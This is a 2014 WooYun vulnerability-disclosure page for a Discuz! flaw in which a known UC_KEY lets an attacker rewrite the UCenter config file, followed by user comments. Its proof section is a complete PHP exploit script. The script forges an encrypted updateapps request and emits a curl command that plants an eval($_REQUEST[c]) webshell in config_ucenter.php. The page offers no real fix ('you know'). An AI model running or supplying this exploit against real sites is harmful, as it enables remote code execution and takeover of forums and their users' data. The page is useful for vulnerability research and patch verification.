当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(194) 关注此漏洞

缺陷编号: WooYun-2014-48137

漏洞标题: Discuz的利用UC_KEY进行getshell

相关厂商: Discuz!

漏洞作者: 路人甲

提交时间: 2014-01-07 11:43

公开时间: 2014-02-21 11:43

漏洞类型: 设计缺陷/逻辑错误

危害等级: 中

自评Rank: 5

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

91人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-01-07: 细节已通知厂商并且等待厂商处理中
2014-01-08: 厂商已经确认,细节仅向厂商公开
2014-01-18: 细节向核心白帽子及相关领域专家公开
2014-01-28: 细节向普通白帽子公开
2014-02-07: 细节向实习白帽子公开
2014-02-21: 细节向公众公开

简要描述:

知key得shell。

详细说明:

code 区域
$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);





这句代码是有漏洞的。



如果我第一次提交的是



code 区域
\');phpinfo();





define那句就变成了

code 区域
define('UC_API','\');phpinfo();');





那么我下一次提交呢?



非贪婪匹配会匹配到

code 区域
define('UC_API','\');





phpinfo();就留下来了。

漏洞证明:

code 区域
<?php


$key = 'cebbvi5s15BSiMXteaP9TNCIz5K5jAVekw7tcV9TqmYCNT5VOJdu7toOxipTX';#少年 uc_key 写在这里
$url = 'http://localhost/api/uc.php';
$arg = 'action=updateapps&time='.time();#拿webshell:http://localhost/config/config_ucenter.php 密码:c
echo 'curl "'.$url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key)).'" -d "'.addslashes('<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb\');eval(\$_REQUEST[c]);#</item></root>').'"';
#curl或者用其他工具post提交

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4;
$key = md5($key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);

$result = '';
$box = range(0, 255);

$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}

}

?>

修复方案:

你懂的。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-01-08 09:45

厂商回复:

感谢您对我们产品的关注和支持,我们会尽快处理

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
0%
0%
100%
0%
0%

评价

  1. 2014-01-07 11:44 | 灬相随灬 ( 普通白帽子 | Rank:395 漏洞数:76 | 大胆天下去得,小心寸步难行。)
    0

    ...................

  2. 2014-01-07 11:49 | 园长 ( 普通白帽子 | Rank:134 漏洞数:14 | 你在身边就是缘,缘分写在数据库里面。)
    0

    终于还是发出来了....

  3. 2014-01-07 11:52 | 袋鼠妈妈 ( 普通白帽子 | Rank:449 漏洞数:61 | 故乡的原风景.MP3)
    0

    终于还是发出来了....

  4. 2014-01-07 11:58 | erevus ( 普通白帽子 | Rank:197 漏洞数:32 )
    0

    想知道怎么知道UC_KEY

  5. 2014-01-07 12:01 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)
    0

    ......

  6. 2014-01-07 12:14 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1878 漏洞数:154 | 不要患得患失,我羡慕你,但是我还是选择做...)
    0

    @erevus BAK FILE!

  7. 2014-01-07 13:33 | YwiSax ( 实习白帽子 | Rank:62 漏洞数:4 | 淡定。)
    0

    玩烂了。。。

  8. 2014-01-07 14:38 | Jumbo ( 普通白帽子 | Rank:132 漏洞数:32 | 猫 - https://www.chinabaiker.com)
    0

    终于还是发出来了....

  9. 2014-01-07 14:45 | 王老公 ( 路人 | Rank:27 漏洞数:8 | 最新门事件 色中色门户网 www.sexofsex.ca ...)
    3

    看完您的漏洞以后,我的心久久不能平静!这条漏洞构思新颖,题材独具匠心,段落清晰,情节诡异,跌宕起伏,主线分明,引人入胜,平淡中显示出不凡的文学功底,可谓是字字珠玑,句句经典,是我辈应学习之典范.就小说艺术的角度而言,可能不算太成功,但它的实验意义却远大于成功本身.一马奔腾,射雕引弓,天地在我心中!您不愧为无厘头界新一代开山怪!是你让我的心里重燃起希望之火,这是难得一见的好说!苍天有眼,让我在有生之年能观得如此精彩漏洞!真如"大音希声扫阴翳",犹如"拨开云雾见青天",使我等之辈看到希望,晴天霹雳,醍醐灌顶,不足以形容大师文章的构思;巫山行云,长江流水更难比拟大师的文才!你烛照天下,明见万里;雨露苍生,泽被万方!透过你深邃的文字,我仿佛看到了你鹰视狼顾,龙行虎步的伟岸英姿;仿佛看到了你手执如椽大笔,写天下文章的智慧神态;仿佛看见了你按剑四顾,江山无数的英武气概!你说的多好啊!我在网上打滚这么多年,所谓阅人无数,见怪不怪了,但一看您的气势,我就觉得您与在网上灌水的那帮小混蛋有着本质的差别,那忧郁的语调,那熟悉的签名,那高屋建瓴的辞藻,就足以证明您的伟大。是您让中华民族精神得以弘扬。佩服佩服

  10. 2014-01-07 15:03 | 渚熏 ( 路人 | Rank:10 漏洞数:4 | interesting.)
    1

    汝之屌,汝父可知。

  11. 2014-01-07 15:40 | Skull ( 实习白帽子 | Rank:95 漏洞数:33 | 菜鸟一枚。)
    1

    终于还是发出来了....

  12. 2014-01-07 15:49 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)
    1

    终于还是发出来了....

  13. 2014-01-07 16:17 | hqdvista ( 普通白帽子 | Rank:154 漏洞数:31 | N/A)
    0

    终于还是发出来了....

  14. 2014-01-07 18:59 | x7iao ( 普通白帽子 | Rank:391 漏洞数:54 | 文能床上控萝莉,武能床上定人妻)
    0

    玩到吐了啊 人家猪猪侠拿着dz官方安装统计都扫了一个遍了

  15. 2014-01-07 21:05 | null ( 路人 | Rank:15 漏洞数:2 | 左岸是无法忘却的回忆,右岸是值得把握的青...)
    1

    碉堡

  16. 2014-01-07 22:07 | Black Angel ( 普通白帽子 | Rank:165 漏洞数:36 | 最神奇的一群人,智慧低调又内敛,俗称马甲...)
    0

    终于还是发出来了....

  17. 2014-01-07 22:30 | 情逍遥 ( 路人 | Rank:10 漏洞数:3 )
    0

    终于还是发出来了....

  18. 2014-01-07 22:41 | 正好五个字 ( 实习白帽子 | Rank:93 漏洞数:15 )
    0

    终于还是发出来了....

  19. 2014-01-08 10:01 | 风风 ( 普通白帽子 | Rank:101 漏洞数:43 | 。)
    0

    猪哥肯定是日下了安装discuz论坛半壁江山的第一人啊

  20. 2014-01-08 10:02 | Coody 认证白帽子 ( 核心白帽子 | Rank:1789 漏洞数:213 | 不接单、不黑产;如遇冒名顶替接单收徒、绝...)
    0

    永远的路人甲

  21. 2014-01-08 10:12 | 小葵 ( 实习白帽子 | Rank:84 漏洞数:11 | 我们是害虫,我们是害虫!)
    0

    终于还是发出来了....

  22. 2014-01-08 11:20 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
    0

    discuz终于还是来确认漏洞了,可喜可贺 :) @Discuz! 以后也常来啊

  23. 2014-01-08 16:14 | x7iao ( 普通白帽子 | Rank:391 漏洞数:54 | 文能床上控萝莉,武能床上定人妻)
    0

    @风风 说的好 都说他只是一头猪

  24. 2014-01-08 16:57 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)
    0

    纳尼,确认了?看来discuz是打算修改这一部分的逻辑了?

  25. 2014-01-08 19:56 | Sunshie ( 实习白帽子 | Rank:81 漏洞数:25 | http://phpinfo.meฏ๎๎๎๎๎๎๎๎๎๎...)
    0

    求利用方法...

  26. 2014-01-08 20:37 | BadCat ( 实习白帽子 | Rank:81 漏洞数:21 | 悲剧的我什么都不会)
    0

    纳尼!!!!!!?!!确认了!?!!?!?!?!?! DZ怎么一回事...

  27. 2014-01-10 18:23 | jk_影 ( 实习白帽子 | Rank:59 漏洞数:9 | 专注google三十年)
    0

    估计倒下了不少站点啊

  28. 2014-01-11 14:51 | U神 ( 核心白帽子 | Rank:1360 漏洞数:150 | 乌云核心菜鸟,联盟托管此号中,欢迎加入08...)
    0

    我早就看到了,exp我都有了!

  29. 2014-01-14 09:26 | 风风 ( 普通白帽子 | Rank:101 漏洞数:43 | 。)
    3

    如果是这个 就蛋碎了 http://www.oldjun.com/blog/index.php/archives/76/

  30. 2014-01-18 11:01 | kissy ( 路人 | Rank:12 漏洞数:3 | 本人真心热爱,渗透测试、软件逆向等技术,...)
    0

    DZ X3.1 的可以么??

  31. 2014-11-16 19:15 | RainShine ( 路人 | Rank:2 漏洞数:4 )
    1

    看完您的漏洞以后,我的心久久不能平静!这条漏洞构思新颖,题材独具匠心,段落清晰,情节诡异,跌宕起伏,主线分明,引人入胜,平淡中显示出不凡的文学功底,可谓是字字珠玑,句句经典,是我辈应学习之典范.就小说艺术的角度而言,可能不算太成功,但它的实验意义却远大于成功本身.一马奔腾,射雕引弓,天地在我心中!您不愧为无厘头界新一代开山怪!是你让我的心里重燃起希望之火,这是难得一见的好说!苍天有眼,让我在有生之年能观得如此精彩漏洞!真如"大音希声扫阴翳",犹如"拨开云雾见青天",使我等之辈看到希望,晴天霹雳,醍醐灌顶,不足以形容大师文章的构思;巫山行云,长江流水更难比拟大师的文才!你烛照天下,明见万里;雨露苍生,泽被万方!透过你深邃的文字,我仿佛看到了你鹰视狼顾,龙行虎步的伟岸英姿;仿佛看到了你手执如椽大笔,写天下文章的智慧神态;仿佛看见了你按剑四顾,江山无数的英武气概!你说的多好啊!我在网上打滚这么多年,所谓阅人无数,见怪不怪了,但一看您的气势,我就觉得您与在网上灌水的那帮小混蛋有着本质的差别,那忧郁的语调,那熟悉的签名,那高屋建瓴的辞藻,就足以证明您的伟大。是您让中华民族精神得以弘扬。佩服佩服

  32. 2014-11-16 23:53 | Black Angel ( 普通白帽子 | Rank:165 漏洞数:36 | 最神奇的一群人,智慧低调又内敛,俗称马甲...)
    1

    @RainShine 我居然给看完了

  33. 2015-08-20 16:51 | BeenQuiver ( 普通白帽子 | Rank:103 漏洞数:27 | 专注而高效,坚持好的习惯千万不要放弃)
    0

    吊吊吊

  34. 2015-10-30 03:12 | 邪少 ( 实习白帽子 | Rank:94 漏洞数:15 | 百里长苏)
    0

    - -那啥。咳咳 不会利用。能详细的说说么

  35. 2016-02-20 17:56 | 你大爷在此 百无禁忌 ( 路人 | Rank:18 漏洞数:9 | 迎风尿三丈 顺风八十米)
    1

    我就想知道这个对版本有啥要求没 除了需要uc_key以外 还需要什么条件么?

登录后才能发表评论,请先 登录